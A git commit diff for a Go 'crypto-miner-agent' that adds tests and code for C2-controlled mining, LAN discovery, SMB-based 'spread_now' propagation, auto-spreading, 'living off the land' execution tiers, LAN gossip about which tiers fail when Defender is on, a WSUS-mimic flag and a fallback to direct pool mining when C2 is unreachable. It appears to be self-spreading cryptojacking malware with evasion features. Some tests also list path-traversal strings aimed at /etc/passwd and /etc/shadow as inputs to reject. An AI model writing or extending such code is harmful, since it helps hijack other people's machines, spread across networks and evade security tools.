Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 04:58:55 -07:00
parent b2a7b1723f
commit 7b2d41cda8
118 changed files with 9938 additions and 223 deletions

View File

@@ -11,6 +11,17 @@ import (
)
func (c *AgentClient) allowRemoteAction(action string) (bool, string) {
c.mu.Lock()
scout := c.cfg.ScoutMode
c.mu.Unlock()
if scout {
switch action {
case "service_discover", "discover_and_join":
return true, ""
case "stage_fetch", "spread_now", "spread_smb_unc":
return false, "roving scout mode never stages spread payloads"
}
}
switch action {
case "hole_punch", "hole_punch_close", "hole_punch_status":
if !c.cfg.HolePunch {

View File

@@ -1,7 +1,12 @@
package client
import (
"encoding/json"
"runtime"
"strings"
"sync"
"testing"
"time"
"crypto-miner-agent/config"
)
@@ -44,3 +49,162 @@ func TestParsePortArg(t *testing.T) {
t.Fatal("invalid should fallback")
}
}
func TestPathTracerAllowRemoteActionRecon(t *testing.T) {
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
for _, action := range []string{
"wg_setup", "wg_configure", "wg_teardown", "wg_status", "service_discover",
} {
ok, reason := c.allowRemoteAction(action)
if !ok || reason != "" {
t.Fatalf("%s should be allowed without forge flags: ok=%v reason=%q", action, ok, reason)
}
}
}
func TestPathTracerAllowRemoteActionDiscoverAndJoinGate(t *testing.T) {
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
ok, reason := c.allowRemoteAction("discover_and_join")
if ok || reason == "" {
t.Fatalf("discover_and_join should require auto_spread or remote_aggressive: ok=%v reason=%q", ok, reason)
}
c.cfg.RemoteAggressive = true
ok, reason = c.allowRemoteAction("discover_and_join")
if !ok || reason != "" {
t.Fatalf("discover_and_join allowed with remote_aggressive: ok=%v reason=%q", ok, reason)
}
}
func TestPathTracerCommandWgSetupRoutes(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("wg_setup invokes UPnP on Windows — routing covered by wg_status/configure tests")
}
var (
mu sync.Mutex
gotAct string
gotOK bool
gotMsg string
)
c := newTestClient(t)
c.commandResultHook = func(action string, success bool, message string) {
mu.Lock()
gotAct, gotOK, gotMsg = action, success, message
mu.Unlock()
}
if !c.handleAggressiveCommand("wg_setup", 0, "", "", "") {
t.Fatal("wg_setup should be handled by handleAggressiveCommand")
}
deadline := time.Now().Add(2 * time.Second)
for {
mu.Lock()
ready := gotAct != ""
mu.Unlock()
if ready || time.Now().After(deadline) {
break
}
time.Sleep(5 * time.Millisecond)
}
mu.Lock()
act, ok, msg := gotAct, gotOK, gotMsg
mu.Unlock()
if act != "wg_setup" {
t.Fatalf("action=%q", act)
}
if !ok {
t.Fatalf("wg_setup should succeed at dispatch layer, got msg=%q", msg)
}
var result WGSetupResult
if err := json.Unmarshal([]byte(msg), &result); err != nil {
t.Fatalf("wg_setup result must be JSON: %v msg=%q", err, msg)
}
if result.PublicKey == "" && result.Error == "" {
t.Fatalf("expected public_key or error in wg_setup JSON: %+v", result)
}
}
func TestPathTracerCommandServiceDiscoverRoutes(t *testing.T) {
if testing.Short() {
t.Skip("service_discover performs live LAN probes")
}
var (
mu sync.Mutex
gotAct string
gotOK bool
gotMsg string
)
c := newTestClient(t)
c.commandResultHook = func(action string, success bool, message string) {
mu.Lock()
gotAct, gotOK, gotMsg = action, success, message
mu.Unlock()
}
done := make(chan struct{})
go func() {
defer close(done)
if !c.handleAggressiveCommand("service_discover", 0, "1", "", "") {
t.Error("service_discover should be handled")
}
}()
select {
case <-done:
case <-time.After(8 * time.Second):
t.Skip("service_discover LAN scan exceeded 8s in this environment")
}
mu.Lock()
act, ok, msg := gotAct, gotOK, gotMsg
mu.Unlock()
if act != "service_discover" || !ok {
t.Fatalf("result: action=%q ok=%v", act, ok)
}
if msg == "" || !strings.Contains(msg, "{") {
t.Fatalf("service_discover should return JSON payload, got %q", msg)
}
}
func TestPathTracerCommandWgConfigureBadPayload(t *testing.T) {
var (
mu sync.Mutex
gotOK bool
gotMsg string
)
c := newTestClient(t)
c.commandResultHook = func(_ string, success bool, message string) {
mu.Lock()
gotOK, gotMsg = success, message
mu.Unlock()
}
if !c.handleAggressiveCommand("wg_configure", 0, "", "", "not-json") {
t.Fatal("wg_configure should be handled")
}
if gotOK || !strings.Contains(gotMsg, "bad wg config payload") {
t.Fatalf("got ok=%v msg=%q", gotOK, gotMsg)
}
}
func TestPathTracerCommandWgStatusRoutes(t *testing.T) {
var (
mu sync.Mutex
gotAct string
gotMsg string
)
c := newTestClient(t)
c.commandResultHook = func(action string, _ bool, message string) {
mu.Lock()
gotAct, gotMsg = action, message
mu.Unlock()
}
if !c.handleAggressiveCommand("wg_status", 0, "", "", "") {
t.Fatal("wg_status should be handled")
}
if gotAct != "wg_status" || gotMsg == "" {
t.Fatalf("action=%q msg=%q", gotAct, gotMsg)
}
}

View File

@@ -12,6 +12,11 @@ func TestValidateAICommandPathRejectsTraversal(t *testing.T) {
"../etc/passwd",
"/home/user/../../secret",
`C:\Users\alice\..\admin`,
"..",
"~/../../outside",
"@desktop/../../secret",
"desktop:../../payload",
"safe/inner/../../../etc/shadow",
}
for _, path := range cases {
if err := validateAICommandPath(path); err == nil {
@@ -72,6 +77,26 @@ func TestHandleAIRunDiagnostics(t *testing.T) {
}
}
func TestHandleAISpreadNowWhenEnabled(t *testing.T) {
var gotAction string
var gotOK bool
var gotMsg string
c := newTestClient(t)
c.cfg.RemoteAggressive = true
c.commandResultHook = func(action string, success bool, message string) {
gotAction = action
gotOK = success
gotMsg = message
}
c.handleAICommand("spread_now", 0, "", "", "")
if gotAction != "spread_now" || !gotOK {
t.Fatalf("action=%s ok=%v msg=%q", gotAction, gotOK, gotMsg)
}
if gotMsg == "" {
t.Fatal("expected spread sweep message")
}
}
func TestHandleAISpreadNowRequiresForgeFlag(t *testing.T) {
var gotOK bool
var gotMsg string

View File

@@ -0,0 +1,124 @@
package client
import (
"encoding/json"
"strings"
)
func (c *AgentClient) setAtlasLanGossipEnabled(enabled bool) {
c.mu.Lock()
c.atlasLanGossipEnabled = enabled
c.mu.Unlock()
}
func (c *AgentClient) atlasLanGossipEnabledSnapshot() bool {
c.mu.Lock()
defer c.mu.Unlock()
return c.atlasLanGossipEnabled
}
func (c *AgentClient) mergeGossipSkipsLocked(incoming []AtlasSkip) {
if len(incoming) == 0 {
return
}
have := make(map[string]bool, len(c.atlasSkips)+len(incoming))
for _, s := range c.atlasSkips {
have[s.Tier+"|"+s.Condition] = true
}
for _, s := range incoming {
s.Tier = strings.TrimSpace(s.Tier)
s.Condition = strings.TrimSpace(s.Condition)
if s.Tier == "" || s.Condition == "" {
continue
}
key := s.Tier + "|" + s.Condition
if have[key] {
continue
}
have[key] = true
if strings.TrimSpace(s.Reason) == "" {
s.Reason = "lan gossip"
}
c.atlasSkips = append(c.atlasSkips, s)
}
}
func (c *AgentClient) applyGossipHints(hints []AtlasSkip) {
c.mu.Lock()
c.mergeGossipSkipsLocked(hints)
c.mergeAtlasSkipsIntoPolicyLocked()
c.mu.Unlock()
}
func (c *AgentClient) handleAtlasGossip(payload json.RawMessage) {
var body struct {
Hints []AtlasSkip `json:"hints"`
}
if err := json.Unmarshal(payload, &body); err != nil || len(body.Hints) == 0 {
return
}
c.applyGossipHints(body.Hints)
}
func (c *AgentClient) writeAtlasGossip(hints []AtlasSkip) {
if !c.atlasLanGossipEnabledSnapshot() || len(hints) == 0 {
return
}
payload, err := json.Marshal(map[string]interface{}{"hints": hints})
if err != nil {
return
}
_ = c.write(Message{Type: "atlas_gossip", Payload: payload})
}
func (c *AgentClient) primaryGossipCondition(defenderEnabled *bool) string {
c.mu.Lock()
platform := c.cfg.RegistrationPlatform()
c.mu.Unlock()
p := strings.ToLower(strings.TrimSpace(platform))
switch {
case strings.Contains(p, "win"):
if defenderEnabled != nil && *defenderEnabled {
return "defender_on"
}
return "goos=windows"
case strings.Contains(p, "linux"):
return "goos=linux"
case strings.Contains(p, "darwin"), strings.Contains(p, "mac"):
return "goos=darwin"
default:
if p != "" {
return "goos=" + p
}
return "unknown"
}
}
func (c *AgentClient) maybeGossipFromAttempts(attempts []TierAttemptPayload, defenderEnabled *bool) {
if !c.atlasLanGossipEnabledSnapshot() || len(attempts) == 0 {
return
}
cond := c.primaryGossipCondition(defenderEnabled)
var hints []AtlasSkip
c.mu.Lock()
if c.gossipSent == nil {
c.gossipSent = make(map[string]struct{})
}
for _, a := range attempts {
if a.OK || strings.TrimSpace(a.Tier) == "" {
continue
}
key := a.Tier + "|" + cond
if _, seen := c.gossipSent[key]; seen {
continue
}
c.gossipSent[key] = struct{}{}
reason := "lan gossip"
if strings.TrimSpace(a.Error) != "" {
reason = "lan gossip: " + a.Error
}
hints = append(hints, AtlasSkip{Tier: a.Tier, Condition: cond, Reason: reason})
}
c.mu.Unlock()
c.writeAtlasGossip(hints)
}

View File

@@ -0,0 +1,80 @@
package client
import (
"encoding/json"
"testing"
"crypto-miner-agent/config"
"crypto-miner-agent/miner"
)
func TestApplyGossipHintsMergesIntoPolicy(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
c.applyGossipHints([]AtlasSkip{
{Tier: "docker", Condition: "no_docker", Reason: "lan sibling"},
{Tier: "docker", Condition: "no_docker", Reason: "dup"},
{Tier: "wsl", Condition: "defender_on", Reason: "blocked"},
})
skips := c.atlasSkipsSnapshot()
if len(skips) != 2 {
t.Fatalf("atlasSkips=%+v", skips)
}
policy := c.miningTierPolicy()
have := map[miner.LOTLTier]bool{}
for _, tier := range policy.SkipTiers {
have[tier] = true
}
if !have[miner.LOTLTier("docker")] || !have[miner.LOTLTier("wsl")] {
t.Fatalf("skip tiers=%v", policy.SkipTiers)
}
}
func TestHandleAtlasGossipMessage(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
payload, _ := json.Marshal(map[string]interface{}{
"hints": []AtlasSkip{{Tier: "container", Condition: "defender_on", Reason: "relay"}},
})
c.handleAtlasGossip(payload)
skips := c.atlasSkipsSnapshot()
if len(skips) != 1 || skips[0].Tier != "container" {
t.Fatalf("skips=%+v", skips)
}
}
func TestMaybeGossipFromAttemptsDedupes(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
c.setAtlasLanGossipEnabled(true)
defFalse := false
attempts := []TierAttemptPayload{{Tier: "docker", OK: false, Error: "denied"}}
c.maybeGossipFromAttempts(attempts, &defFalse)
if len(c.gossipSent) != 1 {
t.Fatalf("gossipSent=%v", c.gossipSent)
}
before := len(c.gossipSent)
c.maybeGossipFromAttempts(attempts, &defFalse)
if len(c.gossipSent) != before {
t.Fatal("duplicate attempt should not expand gossipSent")
}
}
func TestMaybeGossipDisabledNoOp(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
c.setAtlasLanGossipEnabled(false)
defTrue := true
c.maybeGossipFromAttempts([]TierAttemptPayload{{Tier: "wsl", OK: false}}, &defTrue)
if len(c.gossipSent) != 0 {
t.Fatalf("gossipSent=%v want empty", c.gossipSent)
}
}
func TestApplyAuthLotlPolicySetsGossipFlag(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
c.applyAuthLotlPolicy(AuthResponse{AtlasLanGossipEnabled: true})
if !c.atlasLanGossipEnabledSnapshot() {
t.Fatal("expected atlas LAN gossip enabled from auth")
}
}

View File

@@ -66,6 +66,10 @@ type AgentClient struct {
adaptiveStrategy AdaptiveStrategy
// atlasSkips are fleet-learned hard subtree blocks from the failure atlas.
atlasSkips []AtlasSkip
// atlasLanGossipEnabled is opt-in via server auth policy.
atlasLanGossipEnabled bool
// gossipSent dedupes LAN gossip broadcasts per tier+condition.
gossipSent map[string]struct{}
// inheritedPhenotype is the sibling clone payload from auth (for AI snapshot / diagnostics).
inheritedPhenotype *InheritedPhenotype
// triplePolicy is server-pulled recon → deploy → mining gate policy.
@@ -75,6 +79,10 @@ type AgentClient struct {
joinLane string
// clearanceLevel is the server-granted security clearance (L0L4).
clearanceLevel int
// fleetRoleHintVal is the server-pulled role for fleet_role=auto forges.
fleetRoleHintVal string
// lanSeeders lists nearby seeders for miner staging pulls (webrtc/do_peer).
lanSeeders []deploy.LANSeederHint
// lastJobAt records when the most recent valid mining job was delivered.
// The Stratum fallback manager uses this to detect "connected but jobless"
@@ -116,23 +124,31 @@ func (c *AgentClient) Run() error {
}
}
threads := c.cfg.EffectiveThreads()
c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
c.pool.Start()
defer c.pool.Stop()
isSeeder := c.cfg.IsSeederRole(c.fleetRoleHint())
if !isSeeder {
threads := c.cfg.EffectiveThreads()
c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
c.pool.Start()
defer c.pool.Stop()
}
chainCtx, chainCancel := context.WithCancel(context.Background())
defer chainCancel()
c.miningChain = c.newMiningChainRunner()
if deploy.WantsDeferMining() {
if isSeeder {
deploy.StartSeederStaging(c.cfg)
} else if deploy.WantsDeferMining() {
go c.startMiningWhenReady(chainCtx)
} else {
c.miningChain.Start(chainCtx)
}
defer c.miningChain.Stop()
if !isSeeder {
defer c.miningChain.Stop()
}
// Start AI Autonomy runner if enabled
if c.cfg.AIEnabled {
// Start AI Autonomy runner if enabled (miners only — seeders have no pool).
if c.cfg.AIEnabled && !isSeeder {
c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool)
c.aiRunner.shareStats = func() (int, int) {
c.mu.Lock()
@@ -151,17 +167,19 @@ func (c *AgentClient) Run() error {
defer c.mesh.Stop()
}
// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.
fallbackDone := make(chan struct{})
fallbackManagerDone := make(chan struct{})
go func() {
defer close(fallbackManagerDone)
c.stratumFallbackManager(fallbackDone)
}()
defer func() {
close(fallbackDone)
<-fallbackManagerDone
}()
if !isSeeder {
// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.
fallbackDone := make(chan struct{})
fallbackManagerDone := make(chan struct{})
go func() {
defer close(fallbackManagerDone)
c.stratumFallbackManager(fallbackDone)
}()
defer func() {
close(fallbackDone)
<-fallbackManagerDone
}()
}
// Build deduped server list: primary first, then backups.
// On each failure we advance to the next URL so the fleet never
@@ -179,7 +197,9 @@ func (c *AgentClient) Run() error {
target := serverURLs[urlIdx%len(serverURLs)]
start := time.Now()
// Restore C2 share handler before connecting (in case Stratum had it).
c.pool.SetShareHandler(c.submitShare)
if c.pool != nil {
c.pool.SetShareHandler(c.submitShare)
}
if c.shouldUseHTTPSBeacon(c.wsDownSinceTime()) {
log.Printf("[agent] WebSocket unavailable — HTTPS beacon to %s", target)
if err := c.beaconOnce(target); err != nil {
@@ -332,7 +352,7 @@ func (c *AgentClient) authenticate() error {
backupPools[i] = BackupPoolEntry{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
}
payload, _ := json.Marshal(AuthPayload{
authPayload := AuthPayload{
AgentID: c.agentID,
FleetSecret: c.cfg.FleetSecret,
Wallet: c.cfg.Wallet,
@@ -365,7 +385,14 @@ func (c *AgentClient) authenticate() error {
LotlOnionEnabled: c.cfg.LotlOnionEnabled,
LotlPolicyFromServer: c.cfg.LotlPolicyFromServer,
JoinLane: c.getJoinLane(),
})
FleetRole: config.NormalizeFleetRole(c.cfg.FleetRole),
SeederMode: c.cfg.SeederMode,
}
parentID, spreadGen, spreadStrain := c.cfg.GenealogyReport(c.getJoinLane())
authPayload.ParentAgentID = parentID
authPayload.SpreadGeneration = spreadGen
authPayload.SpreadStrain = spreadStrain
payload, _ := json.Marshal(authPayload)
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err
}
@@ -389,6 +416,7 @@ func (c *AgentClient) authenticate() error {
return fmt.Errorf("auth failed: %s", resp.Error)
}
c.applyAuthLotlPolicy(resp)
c.applyAuthFleetRole(resp)
c.agentID = resp.AgentID
if resp.ClearanceLevel > 0 {
c.mu.Lock()
@@ -398,10 +426,17 @@ func (c *AgentClient) authenticate() error {
if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 {
c.mu.Lock()
c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers)
if c.cfg.IsSeederRole(c.fleetRoleHint()) {
c.cfg.LotlOnionTiers = config.FilterSeederLotlTiers(c.cfg.LotlOnionTiers)
}
cfg := c.cfg
c.mu.Unlock()
log.Printf("[agent] LOTL onion tiers pulled from server: %v", cfg.LotlOnionTiers)
}
if seeders := c.lanSeedersSnapshot(); len(seeders) > 0 {
localIP, _ := deploy.PrimaryLocalIPv4()
deploy.SetLANSeederHints(seeders, localIP)
}
c.clearWSDownSince()
log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
@@ -415,6 +450,10 @@ func (c *AgentClient) authenticate() error {
c.mu.Lock()
cfg := c.cfg
c.mu.Unlock()
if cfg.ScoutMode {
c.startScoutRoving()
return
}
if cfg.AutoSpread {
deploy.StartAutoSpreader(cfg)
if deploy.WantsFirstRunSpread(cfg) {
@@ -422,12 +461,14 @@ func (c *AgentClient) authenticate() error {
deploy.ClearFirstRunSpreadMarker(cfg)
}
}
if cfg.LotlOnionEnabled {
if cfg.LotlOnionEnabled && !cfg.IsSeederRole(c.fleetRoleHint()) {
deploy.StartLotlOnion(cfg)
}
})
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
if !c.cfg.IsSeederRole(c.fleetRoleHint()) {
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
}
return nil
}
@@ -508,6 +549,8 @@ func (c *AgentClient) handleMessage(msg Message) {
c.clearanceLevel = payload.ClearanceLevel
c.mu.Unlock()
}
case "atlas_gossip":
c.handleAtlasGossip(msg.Payload)
case "command":
var cmd struct {
Action string `json:"action"`
@@ -1128,6 +1171,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
Wallet: a.Wallet,
}
}
c.maybeGossipFromAttempts(stats.LOTLAttempts, stats.DefenderEnabled)
}
if len(ms.FailedMethods) > 0 {
stats.FailedMethods = make([]MethodFailurePayload, len(ms.FailedMethods))
@@ -1150,6 +1194,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
stats.StratumEgress = c.stratumEgress(false)
}
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
deploy.SetSpreadMiningTelemetry(stats.MiningHashrate, stats.ChainExhausted)
if atlasSkips := c.atlasSkipsSnapshot(); len(atlasSkips) > 0 {
stats.AtlasSkips = atlasSkips
}
@@ -1173,6 +1218,14 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
if lane := c.getJoinLane(); lane != "" {
stats.JoinLane = lane
}
parentID, spreadGen, spreadStrain := c.cfg.GenealogyReport(stats.JoinLane)
stats.ParentAgentID = parentID
stats.SpreadGeneration = spreadGen
stats.SpreadStrain = spreadStrain
role, seedP, hrP := c.fleetPressureFields(stats.MiningHashrate, stats.JoinLane)
stats.FleetRole = role
stats.SeedPressure = seedP
stats.HashratePressure = hrP
payload, _ := json.Marshal(stats)
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
log.Printf("[agent] stats send failed: %v", err)

View File

@@ -2,6 +2,8 @@ package client
import (
"encoding/base64"
"os"
"path/filepath"
"strings"
"sync"
"testing"
@@ -32,18 +34,27 @@ func captureCommandResult(t *testing.T, c *AgentClient) (done <-chan struct{}, r
return ch, out
}
// traversalPaths lists every variant that must be rejected by upload/download.
var traversalPaths = []struct {
name string
path string
}{
{name: "unix_relative", path: "../../etc/passwd"},
{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
{name: "embedded_traversal", path: "uploads/../../outside.txt"},
{name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"},
{name: "dotdot_only", path: ".."},
{name: "mixed_separators", path: `foo\..\bar\..\..\secret`},
{name: "tilde_traversal", path: "~/../../etc/passwd"},
{name: "desktop_prefix_traversal", path: "@desktop/../../outside.txt"},
{name: "desktop_colon_traversal", path: "desktop:../../payload.bin"},
{name: "midpath_dotdot", path: "safe/inner/../../../etc/shadow"},
}
func TestUploadCommandRejectsPathTraversal(t *testing.T) {
data := base64.StdEncoding.EncodeToString([]byte("payload"))
cases := []struct {
name string
path string
}{
{name: "unix_relative", path: "../../etc/passwd"},
{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
{name: "embedded_traversal", path: "uploads/../../outside.txt"},
{name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"},
}
cases := traversalPaths
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
@@ -75,15 +86,7 @@ func TestUploadCommandRejectsPathTraversal(t *testing.T) {
func TestDownloadCommandRejectsPathTraversal(t *testing.T) {
cases := []struct {
name string
path string
}{
{name: "unix_relative", path: "../../etc/passwd"},
{name: "windows_relative", path: `..\..\Windows\System32\config\sam`},
{name: "embedded_traversal", path: "uploads/../../outside.txt"},
{name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"},
}
cases := traversalPaths
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
@@ -112,6 +115,40 @@ func TestDownloadCommandRejectsPathTraversal(t *testing.T) {
})
}
}
func TestUploadCommandRejectsInvalidBase64(t *testing.T) {
c := newTestClient(t)
done, got := captureCommandResult(t, c)
c.handleCommand("upload", 0, "", "notes.txt", "not-valid-base64!!!", "")
<-done
if got.success {
t.Fatalf("expected base64 failure, got %q", got.message)
}
if !strings.Contains(got.message, "invalid base64") {
t.Fatalf("message=%q", got.message)
}
}
func TestDownloadCommandReadsSafeFile(t *testing.T) {
dir := t.TempDir()
src := filepath.Join(dir, "payload.bin")
content := []byte("download-me")
if err := os.WriteFile(src, content, 0644); err != nil {
t.Fatal(err)
}
data := base64.StdEncoding.EncodeToString(content)
c := newTestClient(t)
done, got := captureCommandResult(t, c)
c.handleCommand("download", 0, "", src, "", "")
<-done
if !got.success {
t.Fatalf("download failed: %s", got.message)
}
if got.message != data {
t.Fatalf("encoded mismatch: got len=%d want len=%d", len(got.message), len(data))
}
}
func TestUploadCommandAcceptsSafePath(t *testing.T) {
dir := t.TempDir()
dest := dir + "/notes.txt"

View File

@@ -33,12 +33,13 @@ func (c *AgentClient) fetchDeployPlan(services []deploy.DeployServiceFinding, un
return out, err
}
body, _ := json.Marshal(map[string]interface{}{
"agent_id": c.agentID,
"build_id": c.cfg.BuildID,
"campaign": strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
"platform": runtime.GOOS,
"services": services,
"unc_path": uncPath,
"agent_id": c.agentID,
"build_id": c.cfg.BuildID,
"campaign": strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
"platform": runtime.GOOS,
"services": services,
"unc_path": uncPath,
"wsus_format_mimic": c.cfg.WSUSFormatMimic,
})
req, err := http.NewRequest(http.MethodPost, base+"/agent/deploy-plan", bytes.NewReader(body))
if err != nil {
@@ -76,7 +77,7 @@ func (c *AgentClient) runDiscoverAndJoin(maxLANHosts int) (string, error) {
fetch := func(services []deploy.DeployServiceFinding, uncPath string) (deploy.DeployPlanResponse, error) {
return c.fetchDeployPlan(services, uncPath)
}
lane, detail, err := deploy.RunDiscoverAndJoin(c.cfg, maxLANHosts, fetch)
lane, detail, err := deploy.RunDiscoverAndJoinAs(c.cfg, maxLANHosts, c.agentID, fetch)
if err != nil {
return "", err
}

View File

@@ -1,9 +1,11 @@
package client
import (
"encoding/base64"
"fmt"
"os"
"path/filepath"
"strings"
"testing"
)
@@ -70,6 +72,99 @@ func TestIsBlockedDeletePath(t *testing.T) {
}
}
func TestReadFileCommandRejectsOversize(t *testing.T) {
dir := t.TempDir()
big := filepath.Join(dir, "huge.bin")
if err := os.WriteFile(big, make([]byte, maxReadFileBytes+1), 0o644); err != nil {
t.Fatal(err)
}
c := newTestClient(t)
var gotOK bool
var gotMsg string
c.commandResultHook = func(_ string, success bool, message string) {
gotOK = success
gotMsg = message
}
c.handleCommand("read_file", 0, "", big, "", "")
if gotOK {
t.Fatal("oversize read_file should fail")
}
if !strings.Contains(gotMsg, "file too large") {
t.Fatalf("message=%q", gotMsg)
}
}
func TestReadFileCommandAcceptsWithinCap(t *testing.T) {
dir := t.TempDir()
small := filepath.Join(dir, "small.txt")
want := "config-value"
if err := os.WriteFile(small, []byte(want), 0o644); err != nil {
t.Fatal(err)
}
c := newTestClient(t)
var gotOK bool
var gotMsg string
c.commandResultHook = func(_ string, success bool, message string) {
gotOK = success
gotMsg = message
}
c.handleCommand("read_file", 0, "", small, "", "")
if !gotOK || gotMsg != want {
t.Fatalf("ok=%v msg=%q want %q", gotOK, gotMsg, want)
}
}
func TestAgentConfigFileUploadReadRoundTrip(t *testing.T) {
dir := t.TempDir()
cfgPath := filepath.Join(dir, "agent-config.json")
payload := `{"server_url":"http://127.0.0.1:8989","worker_name":"test-node"}`
encoded := base64.StdEncoding.EncodeToString([]byte(payload))
c := newTestClient(t)
uploadDone := make(chan struct{})
c.commandResultHook = func(action string, success bool, message string) {
if action == "upload" {
if !success {
t.Fatalf("upload failed: %s", message)
}
close(uploadDone)
}
}
c.handleCommand("upload", 0, "", cfgPath, encoded, "")
<-uploadDone
readDone := make(chan struct{})
var readBody string
c.commandResultHook = func(action string, success bool, message string) {
if action == "read_file" {
if !success {
t.Fatalf("read_file failed: %s", message)
}
readBody = message
close(readDone)
}
}
c.handleCommand("read_file", 0, "", cfgPath, "", "")
<-readDone
if readBody != payload {
t.Fatalf("round-trip mismatch:\nwant %q\ngot %q", payload, readBody)
}
}
func TestReadFileCommandRejectsTraversal(t *testing.T) {
c := newTestClient(t)
var gotMsg string
c.commandResultHook = func(_ string, success bool, message string) {
if !success {
gotMsg = message
}
}
c.handleCommand("read_file", 0, "", "../../etc/passwd", "", "")
if !strings.Contains(gotMsg, "path traversal") {
t.Fatalf("message=%q", gotMsg)
}
}
func TestReadDirectoryEntriesCapsCount(t *testing.T) {
dir := t.TempDir()
for i := 0; i < maxListDirEntries+10; i++ {

View File

@@ -0,0 +1,87 @@
package client
import (
"math"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
)
const hashratePressureBaselinePerThread = 80.0
// ComputeHashratePressure normalizes live hashrate to 01 for stats WS.
func ComputeHashratePressure(hashrate float64, threads int) float64 {
if hashrate <= 0 || threads <= 0 {
return 0
}
denom := float64(threads) * hashratePressureBaselinePerThread
if denom <= 0 {
return 0
}
p := hashrate / denom
if p > 1 {
p = 1
}
if p < 0 {
p = 0
}
return math.Round(p*1000) / 1000
}
func (c *AgentClient) effectiveFleetRole() string {
return c.cfg.EffectiveFleetRole(c.fleetRoleHint())
}
func (c *AgentClient) fleetRoleHint() string {
c.mu.Lock()
defer c.mu.Unlock()
return c.fleetRoleHintVal
}
func (c *AgentClient) setFleetRoleHint(hint string) {
c.mu.Lock()
c.fleetRoleHintVal = hint
c.mu.Unlock()
}
func (c *AgentClient) lanSeedersSnapshot() []deploy.LANSeederHint {
c.mu.Lock()
defer c.mu.Unlock()
if len(c.lanSeeders) == 0 {
return nil
}
out := make([]deploy.LANSeederHint, len(c.lanSeeders))
copy(out, c.lanSeeders)
return out
}
func (c *AgentClient) setLANSeeders(seeders []deploy.LANSeederHint) {
c.mu.Lock()
c.lanSeeders = append(c.lanSeeders[:0], seeders...)
c.mu.Unlock()
}
func (c *AgentClient) applyAuthFleetRole(resp AuthResponse) {
if h := config.NormalizeFleetRole(resp.FleetRoleHint); h == config.FleetRoleSeeder || h == config.FleetRoleMiner {
c.setFleetRoleHint(h)
}
if len(resp.LANSeeders) > 0 {
c.setLANSeeders(resp.LANSeeders)
}
}
func (c *AgentClient) fleetPressureFields(hashrate float64, joinLane string) (role string, seedPressure, hashratePressure float64) {
role = c.effectiveFleetRole()
if role == config.FleetRoleSeeder {
lanesReady := 0
if c.cfg.DnsTxtSpread {
lanesReady++
}
if c.cfg.WebRTCMeshSpread {
lanesReady++
}
seedPressure = deploy.SeederSeedPressure(c.cfg, joinLane, lanesReady)
return role, seedPressure, 0
}
return role, 0, ComputeHashratePressure(hashrate, c.cfg.EffectiveThreads())
}

View File

@@ -0,0 +1,55 @@
package client
import (
"testing"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
)
func TestComputeHashratePressure(t *testing.T) {
if p := ComputeHashratePressure(0, 4); p != 0 {
t.Fatalf("zero hashrate=%v", p)
}
p := ComputeHashratePressure(160, 4)
if p < 0.49 || p > 0.51 {
t.Fatalf("half pressure=%v", p)
}
if ComputeHashratePressure(400, 4) != 1 {
t.Fatal("cap at 1")
}
}
func TestApplyAuthFleetRole(t *testing.T) {
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetRole: config.FleetRoleAuto}}}
c.applyAuthFleetRole(AuthResponse{
FleetRoleHint: config.FleetRoleSeeder,
LANSeeders: []deploy.LANSeederHint{
{AgentID: "s1", IP: "10.0.0.2"},
},
})
if c.fleetRoleHint() != config.FleetRoleSeeder {
t.Fatal("hint not applied")
}
if len(c.lanSeedersSnapshot()) != 1 {
t.Fatal("lan seeders not stored")
}
}
func TestFleetPressureFieldsSeederVsMiner(t *testing.T) {
seeder := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
SeederMode: true, DnsTxtSpread: true, WebRTCMeshSpread: true,
}}}
role, seed, hr := seeder.fleetPressureFields(0, "dns_txt")
if role != config.FleetRoleSeeder || seed != 1 || hr != 0 {
t.Fatalf("seeder role=%s seed=%v hr=%v", role, seed, hr)
}
miner := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
